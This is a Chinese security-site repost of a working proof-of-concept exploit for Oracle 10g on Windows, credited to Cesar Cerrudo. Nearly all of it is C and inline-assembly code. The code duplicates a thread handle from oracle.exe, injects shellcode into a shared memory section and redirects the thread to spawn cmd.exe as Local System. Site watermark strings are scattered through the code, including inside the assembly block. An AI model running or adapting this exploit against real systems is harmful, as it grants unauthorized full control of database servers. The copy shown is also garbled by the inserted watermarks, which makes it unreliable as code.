网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 黑客技术 > Exploit > Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32)  

Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32)

2007-05-16  作者:bitsCN整理  来源:中国网管联盟  点评 投稿 收藏

// Argeniss - Information Security
//
// Oracle Database local elevation of privileges PoC exploit
//
// Author: Cesar Cerrudo

#include <windows.h>
#include <stdio.h>


BOOL InjectShellcode(DWORD oldEIP,CHAR * oSID)
{
    HMODULE hKernel;
    FARPROC pCreateProc;
    LPSTR sCommand="cmd.exe";
    DWORD dwStrLen;
    CHAR buff[100];

    dwStrLen=strlen(sCommand);

    hKernel=LoadLibrary("Kernel32.dll");
    pCreateProc=GetProcAddress(hKernel,"CreateProcessA");

    strcpy(buff, "Global\\*oraspawn_buffer_");
    strncat(buff, oSID,50);
    strcat(buff, "*");
网管网www_bitscn_com


      HANDLE hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,buff);

    if (hMapFile == NULL) {
        printf("Could not open Shared Section\n\n");
        return FALSE;
    }
    else
        printf("Shared Section opened\n");

    LPVOID lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);

    printf("Inserting shellcode...\n");

    CHAR sWinSta[]="WinSta0\\Default";

    //copy shellcode
_asm {

    pushad

    lea esi, Shellcode
    mov edi, lpMapAddress   网管有家bitscn.net
    add edi, 0x500
    lea ecx, End
    sub ecx, esi
    push esi
    push edi
    cld
    rep movsb

    pop edi
    pop esi
    push edi

    lea ecx, CommandBuf
    sub ecx, esi
    add edi, ecx
    mov esi, sCommand
    mov ecx, dwStrLen
    rep movsb
    mov [edi], 0x00

    pop edi
    mov esi, pCreateProc
    mov [edi+0x0a], esi

    mov esi, oldEIP
    mov [edi+0x0e], esi 网管u家www.bitscn.net

    add edi, 0x2f0
    lea esi, sWinSta
    mov ecx, 0xf
    cld
    rep movsb

    jmp Done

Shellcode:
    jmp Start
                // this gets overwritten
    mov ax,0xffff
    mov ax,0xffff
    mov ax,0xffff    
    mov ax,0xffff    

CommandBuf:                    // this gets overwritten
    mov dword ptr[eax],0x55555555
    mov dword ptr[eax],0x55555555     网管u家bitscn.net
    mov dword ptr[eax],0x55555555    
    mov dword ptr[eax],0x55555555    
    mov dword ptr[eax],0x55555555    
    mov dword ptr[eax],0x55555555    
    mov dword ptr[eax],0x55555555    
    mov dword ptr[eax],0x55555555    
    mov dword ptr[eax],0x55555555    
    mov dword ptr[eax],0x55555555    
    mov dword ptr[eax],0x55555555    
Start:
    call getDelta
getDelta:
    pop edx                        // Get shellcode/shared section pointer 网管u家www.bitscn.net
    pushad

    mov eax, edx
    add eax, 0x200
    push eax                    //LPPROCESS_INFORMATION
    add eax, 0x200
    mov ebx, edx
    xor bl, bl
    lea ecx, [ebx+0x2f0]
    lea ebx, [eax+0x8]    
    mov [ebx], ecx                //set windows station and desktop
    push eax                    //LPSTARTUPINFO
    push 0x0
    push 0x0
    push 0x0 网管u家bitscn.net
    push 0x0
    push 0x0
    push 0x0
    
    lea eax, [edx-0x47]                    
    push eax                        // Command offset

    push 0x0
    call [edx-0x4f]                    // Call create process

    popad

    push [edx-0x4b]                    // old thread EIP
    ret 中国网管论坛bbs.bitsCN.com
End:

Done:
    popad
  }

    return TRUE;

}


int _tmain(int argc, _TCHAR* argv[])
{
    HANDLE hSrcHandle=0,hTgtHandle=0,hProcess=0;
    BOOL bSuccess=FALSE;
    DWORD pid,j;
    CHAR * oraSID;
    CONTEXT Context;

    if(!argv[1]||!argv[2]){
        printf("Usage %s Oracle.exe PID SID , example: %s 453 orcl\n",argv[0],argv[0]);
        return 0;
    }

    oraSID= argv[2];
    pid=atoi(argv[1]);
    
    printf("\nOpening oracle.exe PID: %d\n",pid);
中国网管联盟bitsCN.com

    
    hProcess=OpenProcess(PROCESS_DUP_HANDLE ,FALSE,pid);
    if(!hProcess){
        printf("\nCouldn't open oracle.exe process\n");
        printf("\nCheck Oracle PID\n");
        return 0;
    }

    //brute force handles to find a thread one
    for (j=0x200;j<=0x1000;j+=4){
        hSrcHandle=(HANDLE)j;
        //get a local handle
        if(DuplicateHandle(hProcess,hSrcHandle,GetCurrentProcess(),&hTgtHandle,0,FALSE,DUPLICATE_SAME_ACCESS )){
            //if we can suspend it then it's a thread handle
网管朋友网www_bitscn_net

            if(SuspendThread(hTgtHandle)==0){
                printf("Found thread handle: 0x%x\n",hSrcHandle);
                //get thread control registers
                Context.ContextFlags = CONTEXT_CONTROL;
                GetThreadContext(hTgtHandle, &Context);
                //put shellcode on the shared section
                if (InjectShellcode(Context.Eip,oraSID)){
                    printf("Changing thread context...\n");
中国网管联盟bitsCN.com


                    //10gR1 section base address 0x04620000 on some systems
                    //10gR2 section base address 0x048a0000 on some systems
                    Context.Eip = 0x048a0500; //set new IP, add 0x500 to not overwrite data already
                                             //in the section, we don't want to crash Oracle service :)

                    SetThreadContext(hTgtHandle, &Context); //change context to jump to shellcode

网管u家u.bitscn@com


                    ResumeThread(hTgtHandle);

                    printf("Running exploit...\n");
                    bSuccess=TRUE;

                    Sleep(2000);
                }
                else
                    bSuccess=FALSE;
                
网管u家u.bitscn@com

                CloseHandle(hTgtHandle);
                break;

            }
            CloseHandle(hTgtHandle);
        }        
    }    

    if (bSuccess)
        printf("\nYou should have a command shell running as Local System :)\n");
    else
    {
        printf("\nCheck Oracle SID\n");
    }

    CloseHandle(hProcess);
网管朋友网www_bitscn_net

    return 0;
}//
TAGs         mov   "   eax   push   n"   printf   //   dword   esi      
 上一篇:PHP 5.2.0 ext/filter Space Trimming Buffer Underflow Exploit (MacOSX)   下一篇:PHP 4.4.6 cpdf_open() Local Source Code Discslosure PoC
Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32) 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: